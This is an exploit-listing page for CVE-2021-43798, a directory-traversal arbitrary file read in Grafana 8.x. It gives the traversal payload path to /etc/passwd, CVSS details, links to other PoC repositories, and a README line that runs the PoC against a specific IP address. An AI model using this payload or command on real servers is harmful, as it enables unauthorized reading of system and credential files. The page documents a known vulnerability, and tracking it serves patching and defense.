Exploit for CVE-2021-43798-poc

kitploit · 2026-09-03

Description

Arbitrary file read in Grafana 8.x allows reading files like /etc/passwd.

Entry point

ParameterpluginId · path

Path/public/plugins/alertlist/../../../../../../../../etc/passwd

Directory traversal in Grafana plugin asset path

Affected Grafana versions

Grafana< 8.0.7, 8.1.8, 8.2.7, 8.0.0, 8.3.0

All known vulnerabilities by product

Alt Linux Grafana Suse

CVSS 7.5 for CVE-2021-43798

7.5

HIGH SEVERITY

Version 3.1

VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Attack Vector:NETWORK

Attack Complexity:LOW

Privileges Required:NONE

User Interaction:NONE

Scope:UNCHANGED

Confidentiality:HIGH

Integrity:NONE

Availability:NONE

CVE Information

Exploit Details

Modified:2026-09-03 02:02

Last Seen:2026-09-06 15:30

Reporter:KitPloit

Tags

GrafanaArbitrary File ReadSensitive Data ExposurePoCCVE-2021-43798

Other exploits for CVE-2021-43798

CVE-2021-43798-grafana_fileread

2026-09-09 KitPloitKITPLOIT

2026-09-09 KitPloitKITPLOIT

grafana-exploit-CVE-2021-43798

2026-09-09 KitPloitKITPLOIT

2026-09-09 KitPloitKITPLOIT

2026-09-09 KitPloitKITPLOIT

Grafana_POC-CVE-2021-43798

2026-09-09 KitPloitKITPLOIT

2026-09-09 KitPloitKITPLOIT

CVE-2021-43798-EXPLOIT

2026-09-09 KitPloitKITPLOIT

Exploit Code

MARKDOWN8 lines

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-RNSSS-CVE-2021-43798-POC
# CVE-2021-43798-poc

Grafana8.x произвольное чтение файлов

python CVE-2021-43798-poc.py http://152.136.149.237:3000 /etc/passwd

![image-20220106173023135](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)